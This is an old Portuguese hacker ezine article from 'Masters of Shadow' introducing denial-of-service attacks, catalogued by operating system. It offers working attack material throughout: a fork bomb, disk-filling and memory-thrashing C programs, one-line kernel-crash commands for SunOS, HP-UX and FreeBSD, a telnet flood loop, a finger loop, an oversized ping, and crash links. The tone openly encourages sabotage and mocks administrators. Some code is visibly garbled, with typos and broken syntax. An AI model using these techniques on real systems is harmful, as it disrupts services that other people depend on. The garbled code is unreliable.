Copy Link
Add to Bookmark
Report

13: Introducao ao DoS

eZine's profile picture
Published in 
Masters of Shadow
 · 1 Apr 2023

Contents

  • Corporate
  • Persuasion
  • Black Hacker Resources
  • Through
  • Internet Terrorism.
  • News ways to fuck your life up

Introducao

Isso nao e um "Guia Moderno" de DoS, mesmo porque, DoS nao e algo moderno. Se os criadores d softwares tivessem a alguns anos atras um pouco de originalidade, teriam percebido os riscos potenciais... so pra citar o super-AIX(C2?! HAHA), permite q vc determine o numero d tentativas d log q uma conta aceita antes q ela trave.. maravilha.. mande um monte d tentativas falhas e vc trava o usuario... isso e um DoS...

Lamers: DoS != DOS, ou seja, nao iremos falar d um sistema operacional, mas sim de um tipo de ataque, o Denial of Service, ou aportuguesadamente, ataque por negacao de servico. Ataques DoS, consiste-se basicamente em atacar-se um certo servico, de forma a geralmente "travar-se" todo um sistema

Outro ponto de vista, seria q o DoS e possivel geralmente porque os lamers compram coisas pelas quais nao pagaram, por exemplo, os inumeros bugs do IIS... O interessante do DoS, e que e' um ataque geralmente simples de ser lancado, mas de dificil protecao.. No Unix por exemplo, ele ocorre basicamente porque o sistema acha que todos usuarios sao "bem comportados".

Nao vamos (eu nao quero) entrar em detalhes psico-filosoficos que envolvem um DoS... seja por motivos religiosos, politicos ou zoacao, o fato e q eles ocorrem... Note no entanto, qe muitas vezes um DoS, e parte d algo muito maior, como uma invasao ao sistema. Por exemplo, no famoso ataque do IP-spoof, usa-se um flood chamado "syn flooding", que a primeira vista, parece apenas um DoS simples

O DoS tambem pode servir d forma a neutralizar uma certa maquina, ou impedir qe certo usuario (o root por exemplo...) logue na maquina e acabe com a farra. Imagine as consequencias d um ataque DoS realizado em um router, ou em uma firewall... ataca-se 1 computador, mas centenas podem ser neutralizados instantaneamente

Sistemas

Em materia d DoS, o Windows e realmente "triste"... nao q o Unix ou similares escapem... mas por apresentar uma arquitetura mais aberta, e mais simples arrumar o Unix, mesmo porq, varias pessoas no mundo todo usam esse maravilhoso sitema, e estao constantemente aperfeicoando-o.

Ja Microsoft.. quando tem um furo no Ruindows, deve-se esperar alguns meses ate qe Bill Gay decida mecher a bunda e arrumar a falha... muitas vezes is- so nem chega a ocorre... o palhaco prefere simplesmente lancar um novo sis- tema operacional, e deixar os otarios q compraram a versao anteriar com o prejuizo... pior ainda... ele nem se da ao trabalho d consertar algumas das falhas d seguranca nas novas versoes seguintes!

Bom... lamers da Microsoft.. esperem pelo proximo ano.. quem sabe o proximo patch (deveria dizer - sistema operacional He He) vem direito... Ja tem ate gente dizendo q "- Bill Gates nao faz patches, lanca novos sistemas..". Ou seja, a cada falha dele, custa em media 100 dolares aos lamers...

De uma forma geral, um DoS bem sucedido depende muito do administrador do sistema visado O Unix, devido a sua arquitetura aberta, possui inumeras ferramentas q dao protecao e monitoracao a ataques DoS, e, geralmente, os administradores de sistemas Unix, sao mais familiarizados com o sistema. No entanto, devido a essa mesma arquitetura aberta, os "*ix's" possuem inumeras portas e servicos rodando, oq ja nao e tao bom

O basico do Ruwin NT pode ser aprendido em algumas horas, isso da uma falsa impressao d q tem-se dominio do sistema, oq nao e verdade.. acho q nem os proprios criadores do NT tem domino sobre ele =)

Ao que parece e pelo que eu tenho visto, o Unix e mais seguro no que diz respeito a ataques locais. Ja o NT, sobrevive bem em ataques remotos, pois tem bem menos daemons e servicos rodando. Mas... quando a coisa e local, o NT e um desastre (...)

Quando um ataque DoS e bem sucedido, o computador alvo, podera sofrer varias consequencias q incluem: mensagens de panico apresentadas no console, arquivos dump ou core serao escritos no disco, x-windows sera abortado, um travamento total do sistema.... Geralmente o host ira simplesmente executar um boot :)

Para ter-se certeza dq o servidor realmente caiu, existem varios metodos, o mais simples e o meu preferio e o 'ping'. Como voce sabe, o que ele ira fazer e basicamente enviar pacotes d rede do tipo ECHO_REQUEST..

Alguns servidores bloqueiam pacotes ping, mas isso e raro..

Varias das tecnicas de DoS, q irei mostrar aki, eu selecionai de fontes, textos, entre outros... Algumas eu mesmo fiz... e tal..

1. - DoS Local

O DoS Local, e um ataque denial of service, q para poder ser executado e necessari o estar-se logado ao sistema, ou seja, nao pode ser feito remotamente.

1.1 DoS Local - Sistemas Nao Especificos *ix's

(1). X-Server

Se o stickybit nao estiver setado no /tmp, entao voce pode remover o arquivo /tmp/.x11-unix/x0, e o x-server cai.

	$ rm /tmp/.x11-unix/x0

(2). Lotando HD

Se seu espaco d HD nao foi limitado pelo admin, vc pode por exemplo criar alguns diretorios e travar todo um sistema... nos *ix's eu recomendo usar-se o /tmp p/ isso

Ex:

	while : ; 
mkdir .xxx
cd .xxx
done

(3). Uso fodido d eval

Alguns sistemas antigos iram pendurar se eval '\!\!' for executado no C-shell

Ex:

	% eval '\!\!'

(4). Uso fodido d fork ()

Varios sistemas, principalmente os mais antigos irao travar com esse simples programinha
Ex:

  main() 
{
while(1)
fork(); /* Diabinhos substituam isso por sync hehehe */
}

Se nao for visto a tempo pelo admin, o sistema cai. Basicamente, o qe ele faz e expandir-se na memoria, criando outro processo de si mesmo.. Esse ataque e dificil de parar, pois mesmo que se mate os outros processos ja comecados, ainda existirao outros

Versoes recentes do sistema, ja estao imunes a esse ataque, pois agora os usuarios podem ter apenas um numero maximo de processos rodando, mas o root nao segue essa regra, ou seja, c vc rootear uma makina, ainda pode trava-la e o admin idiota nao vai nem saber oq aconteceu..

A maioria dos Unix's, possuem o numero maximo d processos por usuario, estipulados no kernel, no entanto o Solaris, deixa esse valor ser setado na hora do boot. A variavel responsavel por isso, chama-se 'MAXUPROC', e pode ser ascessada em /etc/systems. Geralmente ela estara como 'maxuproc=100' Mas, se vc tiver varias contas no sistema, ainda assim podera travar a makina

A existencia d muitos processos, realmente e um desafio pra os admins consertarem sem poderem dar boot na makina, pois nao adianta rodar o ps e ver quais processos matar, e c vc nao estiver logado como root, nao podera rodar o 'su' ou o 'login' pois essas funcoes requerem que e sejam criados novos processos, e o sistema estara sobrecarregado Como nossos admins nao sao tao bobinhos, eles sabem q nao e legal simplesmente puxar o fio da tomada ou tacar o dedao no reset, pois trabalhos nao salvos serao perdidos, e varios blocos de dados podem ser apagados ou mm danificados. Assim, so resta ao nosso paciente administrador comecar a matar os processos no escuro, ou seja chutando mesmo. Agora, c o sistema aceitar, ele pode tentar um 'kill -TERM -1', o qe envia um SIGTERM p/ todos os processos, menos os do root e do sistema. =) NOTA: A equipe da MOS desenvolveu um programa capaz de anular a acao desse programa. Mas, somos egoistas d mais pra publicar o estupido codigo aqui. Caso vc c interesse, escreva-nos q teremos prazer em lhe auxiliar.

(5). Ataques ao disco

Outro metodo antigo de ataque, e o de simplesmente lotar o HD do sistema com merda... A primeira forma d c realizar isso, pode ser usada em computadores q rodam 24hs por dia. Oq o codigo abaixo faz, e criar e manter aberto um arquivo, mantendo-o dessa forma invisivel ao 'du' ou 'find', mas mesmo assim, ainda ocupando espaco em disco. Isso se deve ao fato de qe arquivos nao-linkados nao estao na arvore do diretorio, ainda... mas mesmo assim, ja ocupam espaco em disco.

  /* 
fillup.c
*/


#include <stdio.h>
#include <stdlib.h> main()
{
int ifd;
chat buf[8192];
ifd= open("./attack", O_WRITE| O_CREAT, 0777);
unlink("/.attack");
while(1)
write(ifd,buf, sizeof9buf));
}

Apos criar o arquivo, esse programa inicia um loop infinito, que ira lotar o disco, e impedir qualquer coisa de ser trabalhada, pois o HD estara preenchido. Imagina a cara do palhaco quando tentar todos os metodos que ele aprendeu na faculdade, e nao encontrar o dito arquivo =)

Para pisar mais na merda, rode o dito cujo em background, e use varias copias hehehe... Okz... use a porra do cerebro, ao inves de roda-lo varias vezes, use o que vc aprendeu... insira um fork() no meio do codigo e deixe q o programa aumente-se sozinho. Mas nao acabou! Ainda existem centenas de outros metodos hehe.. vamos analiza-los... um eu chamo d "Joao e o Pe de Feijao"... esse metodo e simples, e a negada roda ele no DOS(o sistema operacional) pra ferrar os HD's d uns palhacos.. bom... vamos basicamente criar uma arvore tao grande, que nem Deus sera capaz d apaga-la..

 #!/bin/sh 
mkdir MOS
cd MOS

Eu sei oq vc esta pensando, mas em alguns sistemas, o 'rm -r' nao sera capaz d deletar uma arvore tao grande, devido ao fato de ocorrer um risco de buffer overflow, pois a abertura de tantos "arquivos" ao mesmo tempo ira sobrecarregar o sistema :)

Algo ainda mais perverso contra isso, seria simplesmente bolar um programinha que ira criar um diretorio de nome aleatorio, isso ira prevenir possiveis scripts lamers de simplesmente irem apagando nivel por nivel de sua arvore satanica :P Isso vcs q facam..

NOTA: A equipe da MOS desenvolveu um programa capaz de anular a acao desse programa. Mas, somos egoistas d mais pra publicar o estupido codigo aqui.

Caso vc c interesse, escreva-nos q teremos prazer em lhe auxiliar. Outra forma de lotar o winchester e o seguinte, em muitos sistemas Unix, tanto usuarios como programas, criam arqs. d tamanho ilimitado no /tmp, p/ uso temporario. Bom, simplesmente use-se disso, e rode os programas nesse diretorio...


Vc tb pode criar arquivos q sao um "chute no saco" pra serem removidos.
Ex:

	$ cat > -xxx 
^C
$ ls
-xxx
$ rm -xxx
rm: illegal option -- x
rm: illegal option -- x
rm: illegal option -- x
usage: rm [-fiRr] file ... $ Ex:
$ touch xxx!
$ rm xxx!
rm: remove xxx! (yes/no)? y
$ touch xxxxxxxxx!
$ rm xxxxxxxxx!
bash: !": event not found
$

(6). Ataque CSH

Okz, inicie seu maravilhoso /bin/csh e vamos gastar uns 100% de cpu nisso aki.


Ex:

	|I /bin/csh 
nodename : **************b

(7). Atacando o RESOLV_HOST_CONF

Alguns sistemas possuem essa pequena falha d seguranca na medida que usam a variavel RESOLV_HOST_CONF. Nos podemos colocar algumas coisinhas nessa variavel e usar o ping para modifica-las ou pendurar o sistema. Por exemplo, varios sistemas pendurar se o /proc/kcore for lido via ascesso ping

Ex:

	$ export RESOLV_HOST_CONF="/proc/kcore" ; ping asdf

(8). Manipulando a memoria

DoS qe manipulem a memoria podem ser catastroficos... existem varias coisas q podem ser feitas

Ex:

  • Alocar uma enorma quantia de RAM, ou toda a qe o sistem permitir.Um loop com malloc () resolveria o caso.
  • Escrever direto em /dev/kmem pode ocasionar muitos problemas.
  • Alocacao de memoria do kernel tb pode ser feita.. o kernel possui um limte d alocacao("kernelmap"), se o sistema chegar nesse limite, nao podera alocar mais nada e simplesmente pendura. Essa memoria do kernel e usada como RAM, impressao de video e outras coisas banais.
  • Ler-se uma grande quantidade de memoria de forma muito lenta ira reduzir a velocidade d processamento do sistema.

(9). Pentium Bug

Todo mundo ja esta por dentro do bug do Pentium... bom.. rode o seu respectivo exploit q o sistema ira travar... :P Nada de logs nem nada.. o admin nem ira saber oq aconteceu.


(10). /dev/kmem fuck off

Apenas ler direto do /dev/kmem pode travar todo o sistema se voce tem ascesso d leitura apenas, registrado no kernel.. hmmm.

Ex:

	cat /dev/kmem >/dev/null

(11). Travando Unix's

Isso e um contorno em relacao ao DoS vai fork(), pois funciona mesmo q vc tenha um limite d processos por/user

Ex:

  #define BIGNUM 128*1024*1024 
#define PAGESIZE 4*1024

char eatmem[BIGNUM];

main()
{
for (i=0 ; i += PAGESIZE ; i < BIGNUM) ++eatmem[i];
}

Define-se BIGNUM como sendo uma grande quantia REAL de memoria que o sistema lhe permitira obter em seu limite DATASIZE. Alternativamente, voce poderia mallocar a memora ao inves d faze-la estatica, e envia-la para seu limite MEMORYSE

Define PAGESIZE como sendo o tamanho da memoria em paginas da pagina da swap do seu sistema. Entao:

Now comes the fun part:

  mos% cc thrash.c 
mos% a.out

Esse programa ira alocar uma grd. quantia d memoria e ira le-la de forma a fazer a swapper realizar uma page-in p/ *CADA ASCESSO*. Isso reduz o sistema a um quase crash.He He.. vc pode ainda malloc () 512k, e mais 512k e mais e mais.. assumindo-se q vc nao tenha um limite 'memoryuse', voce ira cair devido a falta d espaco da swap: PANIC: out of swap space <CRASH!>


(12). Shell scripts

Existem alguns scripts q se executados d forma correta podem ocasionar alguns probleminhas. Por exemplo, crie um arq. e dentro dele apenas: $0

Faca-o executavel e rode-o.. ele ira contiamente a se expadir, como no DoS fork (). Um simples ^C pode interromper Vc tb poderia ao inves disso, colocar: $0 & O sistema ira rastejar he he.. voce pode parar isso simplesmente removendo ou movendo o arquivo d lugar.


(13). Syste V 2.2

Em sistemas unix Syste v Release 2.2, pode-se trava-lo facilmente
Ex:

	cat /dev/tty O mesmo ocorre em relacao a outros devices.

1.2 DoS Local - SunOS/Solaris

(1). SunOS 4.x & DoS via Background

Coloque a string "a&" em um arquivo chamado "a" e sete-o em +x. Rode o arquivo... crash total =)


(2). SunOS 4.1.x & trap_mon

Executar-se a instrucao trap_mon a partir do modo usuario, pode ocasionar kernel panic em SunOS 4.1.x, arquitetura sun4c.


(3). SunOS 4.1.x & tmpfs

Se o /tmp for um filesystem tmpfs, qualquer usuario pode causar um kernel panic em SunOS 4.1.x

Ex:

	$ cd /tmp 
$ /usr/etc/mknod fifo p
$ ln fifo link
$ ls -ClFg link fifo

(4). SunOS 4.1.x & pathconf ()

Se /cdrom for um filesystem hsfs, qualquer usuario pode causar um kernel panic c/ esse exploit.

Ex:

  #include <unistd.h> 
main()
{ pathconf("/cdrom", 0); }

(5). SunOS 4.0.x & df

Essas versoes do SunOS podem ser travadas com o 'df'

Ex:

	$ df /dev/*b       ->  (particao da swap)

(6). SunOS 4.0.3 & rmdir

Alguns sistemas rodando SunOS 4.0.3 podem sofrer um kernel pancis c vc realizar um rmdir em um diretorio q nao existe.


(7). SunOS 3.2 & link ()

Em SunOS 3.2, pode-se travar a makina passando-se uma string vazia como um argumento (nao me lembro qual..) p/ a chamada link ().


(8). SunOS 3.4 (eu acho...) & cat

Nao tenho certeza dessa versao.. mas vc pode travar o sistema facilmente

Ex:

	cat /etc/motd /dev/printer

(9). Directory Name Lookup Cache

DNLC e usado toda vez que um arquivo e aberto. Ele associa o nome de um arquivo a um vnode. No entanto, ele pode operar apenas em arquivos cujos nomes possuem ate uma quantia N de caracteres (SunOS 4.x ate 14, e Solaris 2.x 30.). DoS hehe. Crie aproximadamente uns 20 diretorios, e coloque 10 arqs vazios em cada um deles. Cada nome deve ser maior que 30 caracteres, a seguir, rode um script q ira dar um 'ls -la' nos diretorios Caso nao funcione, crie mais arquivos e tente de novo.


(10). Solaris 2.x & NFS

Se um processo estiver escrevendo sob um NFS e o usuario chegar ao fim d sua quota em disco, o processo entra num loop infinito.


(11). Solaris 2.3

Tais sistemas penduram (kernel panic) da seguinte forma
Ex:

	$ndd /dev/udp udp_status

(11). Unix antigo & tape driver

Em sistemas Unix antigos (mc68000 based, System V release 2.2), pode-se travar a maquina tentando-se ascessar um arquivo device tape driver ao qual nao existem nenhum tape driver fisico associado.

1.2 DoS Local - HP-UX

(1). HP-UX & Nettune

/usr/contrib/bin/nettune e SETUID root. Devido a isso, qualquer usuario do sistema pode resetar qualquer parametros presentes no kernel a respeito d ICMP, IP e TCP.. por exemplo:

  • arp_killcomplete
  • arp_killincomplete
  • arp_unicast
  • arp_rebroadcast
  • icmp_mask_agent
  • ip_defaultttl
  • ip_forwarding
  • ip_intrqmax
  • pmtu_defaulttime
  • tcp_localsubnets
  • tcp_receive
  • tcp_send
  • tcp_defaultttl
  • tcp_keepstart
  • tcp_keepfreq
  • tcp_keepstop
  • tcp_maxretrans
  • tcp_urgent_data_ptr
  • udp_cksum
  • udp_defaultttl
  • udp_newbcastenable
  • udp_pmtu
  • tcp_pmtu
  • tcp_random_seq

Uma forma d se prevenir disso seria setar-se as permissoes corretas no arquivo /sbin/mount_union

Ex:

	#chmod u-s /sbin/mount_union

(2). HP-UNX 10.1 & rplayd

Se vc rodar rplayd sem nenhum parametro, ira causar um kernel panic.

(3). HP-UX 7.0.

Esse programa abaixo ja foi testado em maquinas HP9000/340 rodando o HP-UX 7.0... tudo oq vc tem a fazer e colocar um & =)


Ex:

  main() 
{
char hostname[100];
unsigned int size = 100;

/* Se vc acidentalmente colocar um &, a makina trava!
eg. gethostname( hostname, &size);
*/


if ( gethostname( hostname, size) != 0 )
printf("gethostname() failed \n");
else
printf("gethostname = %s\n", hostname);
}

1.3 DoS Local - Linux/FreeBSD

(1). Bloqueando login em RH/Debian

Em alguns sistemas (Red Hat 3.0.3/Debian 1.2), qualquer usuario pode facilmente bloquear outras pessoas d se logar

Ex:

	  $ nvi /var/log/wtmp

(2). Pau via mount_union

Executando-se uma sequencia do mount_union, qualquer usuario pode ocarionar um boot do sistema, em todos os FreeBSD 2.x, antes d 1996-05-18

Ex:

	  $ mkdir a 
$ mkdir b
$ mount_union ~/a ~/b
$ mount_union -b ~/a ~/b A solucao basica e setar-se corretamente o /sbin/mount_union

Ex:

	  #chmod u-s /sbin/mount_union

1.4 DoS Local - DG/UX

(1). Pane via ulimit


ulimit e utilizado para setar-se um limite nos recursos disponiveis pelo sistema a shell. Se ulimit 0 for chamado antes do /etc/passwd, o passwd sera zerado.

1.5 DoS Local - AIX

malloc(3) e merda. Essa chamada nao ira dar crash no kernel, mas ira matar processos aleatoriamente. Seu servidor X pode cair e travar toda a makina.

/* 
Programa exemplo q falha devido a ideia da IBM a
respeito dq malloc() deveria fazer. Rode-o por um tempo e saia normalmente
(o sistema torna-se mais lento por um tempo...) No caso de AIX, rode-o por um tempo e:
1) o processo termina-se;
2) MUITOS processos sao kilados
No X, usuarios serao travados :)
*/


#include <stdio.h>
#include <malloc.h>

#define PADCOUNT 262143
#define STEP 200

/* Use tanta memoria quanto o sistema permitir */
main()
{
struct chunk { /* 1 mega */
struct chunk *next;
long pad[PADCOUNT];
} *tmp, *head= NULL; int k, count= 0; for(;;) {
/* Tente alocar outro mega */
tmp= (struct chunk *) malloc(sizeof(*tmp));
if(tmp==NULL) break;

/* Reporta contador megabyte */
count++;
printf("%d megabyte%s\n", count, (count>1 ? "s": ""));

/* Link em uma listagem simples */
tmp->next= head;
head= tmp;

/* Use a memoria alocada */
for(k= 0; k<PADCOUNT; k+= STEP) {
tmp->pad[k]= k;
}
} printf("Freeing %d megabyte%s\n", count, (count>1 ? "s" : ""));
for (tmp= head; tmp!= NULL;) {
head= tmp->next; free(tmp); tmp= head;
}
}

1.6 DoS Local - VAX

Um jeito interessantes de bootar-se uma maquina VAX rodando Ultrix V2.0-1 System #3 e a seguinte

Ex:

	  % mkdir foo 
% cd !$
% mkdir ../../foo
% mv !$ ..

1.7 DoS Local - Microsoft Windows

(1). Grande arquivo de cache


Se o sistema NT possui um arquivo grande de cache ativado, qualquer um pode consumir 100% de tempo da CPU. Apenas transfira um arquivo grande d um servidor p/ um drive d rede compartilhado.

(2). Links destrutivos

Clicar-se no link a seguir ira danificar o sistema. Note q em alguns sistemas, ocorrera um simples erro...

(1) Afeta algumas versoes do Explorer.. ele simplesmente ira entrarem loop se for mandado a inicar um cineminha... :)

	<a href="file://aux">file://aux</a>

(2) Putz.. esse afeta Netscape 1.1N (vovo usa um desses).

	<a href="http://xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx. 
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx...">http://xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxx.xxx.xxx.xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.
xxxxxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxx.xxxxxx.xxx.
xxx.xxx.xxx.xxx...</a>

(3) Chamadas a arquivos especificos podem causar varios problemas.

	<a href="file:/dev/mouse">file:/dev/mouse</a> 
<a href="file:/dev/zero">file:/dev/zero</a>
<a href="file:/dev/mmap">file:/dev/mmap</a>
<a href="file:/proc/kcore">file:/proc/kcore</a>

2. - DoS Remoto

Voce pode estar pensando..." - Maravilha... eu consigo atacar um sistema local c eu tiver uma conta nele, e quanto aos sistemas q eu nao tenho ascesso?". Bem, existe uma variedade d diferentes ataques d rede que podem ser lancados a hosts remotos. A grande vantagem de tudo isso, e que nao existem muitas fire walls realmente capazes d bloquear um DoS bem planejado... e, assim como elas tambem sao poucas, ainda menores sao seus utilizadores. Mas logo logo isso vai mudar... entao aproveite. O DoS Remoto, e um ataque denial of service, q pode ser executado sem estar-se logado ao sistema. Ou seja, e o mais grave d todos..

2.1 DoS Remoto - Sistemas Nao Especificos *ix's

(1). Shh & PPP

Se uma coneccao ppp via ssh cair, todos os processos controlados por ele irao entrar em parafuso. Os processos nao pode ser interrompidos com um kill -9 -1. P/ mata-los, mate o sshd.

(2). Login via SSH

ssh pode ser utilizado p/ bloquear-se um login. Apenas force o sshd a pedir por um passwd durante o login. Conecte-se ao sistema mas nao forneca o passwd. Ate q vc forneca o passwd ninguem mais podera se logar Esse e um problema tipico d configuracao.

(3). FLEXlm

Qualquer sistema rodando FLEXlm pode fazer com que o FLEXlm license manager daemon tome um belo shutdown atraves do comandos lmdown

Ex:

	 # lmdown -c /etc/licence.dat 
lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.

Shutting down FLEXlm on nodes: xxx
Are you sure? [y/n]: y
Shut down node xxx
#

(4). Booting via TFTP

Para dar boot workstations burras, tente usar o tftp com o rarp ou bootp. Se a estacao nao estiver protegida, um atacante atraves do tftp podera com sucesso reiniciar o host.

(5). Atacando USENET

Pode-se ser possivel cancelar-se o artigo d outra pessoa, destruir-c um newsgroup ou mesmo enviar-se um artigo falso a Usenet Ver FAQ:alt.2600 #15.

(6). Ping Flood

Um flood d ping simples pode-se ser executado via Unix

Ex:
ping -s host (enviar pacotes d 64 bytes.) Em W95, pode-ser fazer o seguinte..

Ex:

	 PING -T -L 256 xxx.xxx.xxx.xx. (inicie +- 15 sessoes.)

(7). finger

Muitas configuracoes e instalacoes do finger suportam redirecionamento p/ outros hosts

Ex:
$finger @sistema.dois.com@sistema.um.com O finger ira por exemplo para o sistema um e p/ o sistema dois, no entanto, o sistema dois sabera qe quem esta executando o finger e o sistema um Alem de poder-se realizar um finger camuflado, essa tecnica pode ser usado num forte DoS

Ex:

	 $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@lamer.com.br

As arrobas irao fazer com q o host se auto-finger num loop enorme.. Isso reduz a performance do sistem, reduz a memoria disponivel e consome espaco em disco deviao ao grande numero de processos filhos.

(8). Clientes Lynx

Um servidor WWW ira gerar um processo httpd, como resposta a um pedido de um cliente, tipico por exemplo um Netscape ou Mosaic. O processo usa em sua criacao, menos de 1 segundo, e ninguem sera capaz d observalo atraves d um simples ps Muitas vezes e possivel enviar-se um ataque DoS seguro, q ira fazer uso de multiplos clientes WWW, tipicamente clientes Lynx O netstat pode ser usado para detectar-se o ataque... Alguns servers httpd como por exemplo o http-gw, irao ter problemas alem d diminuicao e performance e reducao d memoria.... O atacante pode forcar o sistema a entrar em loop.

(9). Telnet flood

Ex:

	 while : ; do 
telnet alvo.com.br &
done

Um DoS atraves desse script ira reduzir a performance do sistema.. Perto do ataque via finger esse script e muito menos potente, no entanto, alguns versoes d firewalls e httpds, "pensam" que esse ataque e um loop, e simplesmente desligam-se ate q o admin envie um kill -HUP.


(10). Bloqueando-se contas

Varios sistemas irao desabilitar uma certa conta apos um numero N de logins falhos.. ou entao irao esperar N segundos. Isso pode-se ser uzado para executar-se um DoS.


(11). Bloqueando-se servicos

Varios sistemas Unix desabilitam um servico quando um numero N d secoes forem abertas ao mesmo tempo. O default geralmente e 800 - 1000, mas no SunOs, esse default e reduzido p/ 48 =)


(12). Congelando o X-Win

Se um host aceitar uma secao telnet na a porta do X-Wins (geralmente entre 6000 e 6025), o mesmo pode ser usado para congelar-se todo o sistema X-Win. Isso pode ser feito com multiplas secoes telnet p/ a porta, com um programa q envia multiplos XOpenDisplay () O mesmo ocorre com o Motif ou Open Windows.


(13). Broadcast FuCk

Esse e um metodo popular em redes, de forma que todos os hosts atuam como gateways. Existem varias versoes dessa ataque, mas o metodo basico, e enviar-se varios pacotes p/ todos os hosts da rede, com um destinatario qe simplesmente nao existe (spoof). Cada host ira tentar "responder" a cada pacote, assim, os pacotes irao passear na rede por muito, muito tempo.. Se novos pacotes chegarem, logo a rede estara em apuros.Servicos que podem ser usados para esse tipo de ataque podem ser por exemplo o ping, finger e sendmail. No entanto, grande parte dos servicos pode ser comprometida de um jeito ou de outro.


(14). FTP anonimo

Se um arquivo via FTP anonimo possuir +w p/ o usuario remoto, e possivel simplesmente lotar-se o HD do sistema. Pode-se tb travar o sistema atraves d multiplos pedidos d coneccao a porta d FTP.


(15). Mal uso do SMRM

O SMRM (subnet mask reply message) e usado durante o reboot, mas no entanto, alguns host aceitam o recebimento de tais mensagens sem ao menos checa-las. Assim, qualquer forma de comunicacao do ou para o host pode ser cancelada O host deve apenas aceitar esse reply na hora do reboot!


(16). Email Bomb & Email Spamming

Em uma ataque d mail bomb, o atacante ira enviar varias mensagens identicas para um certo endereco. O efeito e reducao de performance, diminuicao d HD livre, .. No caso do mail spam, a diferencao e q o mail bomb e enviado a varios ou a todos os usuarios do sistema.


(17). Applets Hostis

Um applet hostil, e qualquer applet q ira tentar usar seu sistema de forma inapropriada. Os problemas na linguagem java, sem querer entrar numa discussao altamente tecnica, podem ser dividos em 2 grupos:

  1. Problemas devido a bugs;
  2. Problemas devido a falhas da linguagem. Varios problemas ainda sao atualmente encontrados no que se refere a ambos os niveis de problemas. Um exemplo foi a avaliacao de seguranca do BB. Por isso, e mais seguro e recomendavel deixar-se os recursos Java desativados.

2.3 DoS Remoto - Sistemas especificos

Tais ataques sao especificos d certas versoes e Sistemas Operacionais.

(1). SunOS Kernel Panic

Algumas versoes do SunOS (nao estou certo se eles precisam estarem rodando o TIS) ira ter um kernel panic se um getsockopt () for realizado apos uma conecao ter sido resetada.


(2). UDP & SUNOS 4.1.3.

SunOS 4.1.3 e conhecido por rebootar-se se um pacote com informacoes incorretas em seu cabecalho for enviado a ele. Esse erro deve ser mais especificamente se o ip_options indicar o tamanho errado do pacote.


(3). Telnet & Solaris 2.4

Se alguem se conectar via telnet em uma makina Solaris 2.4 e terminar sua conecao atraves de:

Control-}
quit O sistema entra num loop infinito...


(4). Linux & TCP Time/Daytime

O Inetd do Linux e famoso por travar se varios pacotes SYN forem enviados a porta daytime e/ou a porta time.


(5). Paragon OS Beta R1.4

Paragon e a plataforma d supercomputadores da Intel, desenhadas para obter alta performance.. sao usado em pesquisas cienticas e computacao altamente tecnica. Se alguem redirecionar um pacote ICMP para um Paragon OS beta R1.4, a maquina ira travar e sofre um reboot. Esse redirecionamento do pacote, faz com que a maquina sobre-escreva suas tabelas de route.


(6). Netware FTP

O servidor FTP da Netware da Novell ira reduzir sua memoria se multiplas secoes de FTP forem a ele conectadas.

2.4 DoS Remoto - Microsoft

(1). ISS 2.0 em NT


Ok.. vamos ver um DoS simples.. nesse caso, e necessario q o sistema seja um NT 4.0, rodando o IIS 2.0... Basta vc dar um telnet na porta 80 e dar um simples GET ..\.. e o servidor trava.


(2). Dot Dot bug

O compartilhamento d arquivos do NT, e vulneravel ao bug do dot dot sob ambiente W95, assim, qualquer um pode travar o sistema. Se alguem en- viar um "DIR ..\" para a workstation, uma mensagem d STOP ira aparecer na tela do computador NT. Note q isso funciona apenas em versoes 3.50 e 3.51, tanto em servidores como em workstations.


(3). Consumindo 100% de CPU I

Telnet para 135 e envia alguns caracteres aleatorios e disconecte Isso ira causar o processo rpcss.exe a comecar a consumir todos os ciclos disponiveis.


(4). Consumindo 100% de CPU II

Telnet para 6558, tecle alguma letra e d enter.


(5). Consumindo 100% de CPU III

Telnet p/ porta 53, envie alguns caracteres aleatorios e disconecte Tente tb as portas 1031 e 1040.


(6). NT 4.0 & Servidor DNS

O Servidor de DNS da Microsoft se auto-aborta se receber uma resposta d um query DNS q nunca foi feito. (7). Crash em sistemas via ping W95

Esse DoS e possivel d ser realizado a partir de makinas c/ W95, note no entanto q ja existem programas q simulam esse ping, tornando possivel a exploracao da falha em qualquer sistema operacional.Se alguem q estiver rodando W95 for capaz d dar um ping em sua makina, essa pessoa pode conseguir com sucesso travar vc. Ele simplesmente ira rodar o ping

Ex:

	  ping -l 65510 sistema.com.br

E o sistema trava. Principalmente sistemas AIX (nao lembro a versao, acho q e 4.?.? ) sao vulneraveis... d qualquer forma, procure + infos..

2.2 DoS Remoto - Multiprotocolar

DoS Multiprotocolar foi o nome q eu dei a ataques q, independente do sistema operacional, funcionam devido a falhas de concepcao e m diversos protocolas, sejam IP, TCP ou mesmo UDP, ...

Eu recomendo qe os interessados em obter maiores informacoes, peguem a phrack 48, onde o daemon9 fala sobre TCP/SYN flooding, e da uma demonstracao do projeto Netuno. Quando fala-se em rede, a primeira palavra qur me vem a mente e protocolo Caso vc esteja tentando floodar um host, q protocolo deve usar? Hmmm..... dentre todos, os mais efetivos sao, com certeza, o ICMP e o UDP, devido ao fato de eles nao terem necessidade d estabeler uma coneccao, como e o caso do TCP. No tentanto, o "syn flooding" e realmente uma prova dq ate mesmo o TCP pode ser usado p/ fins um tanto quanto distorcidos dos seus propositos originais.


(1). TCP/Syn Flood

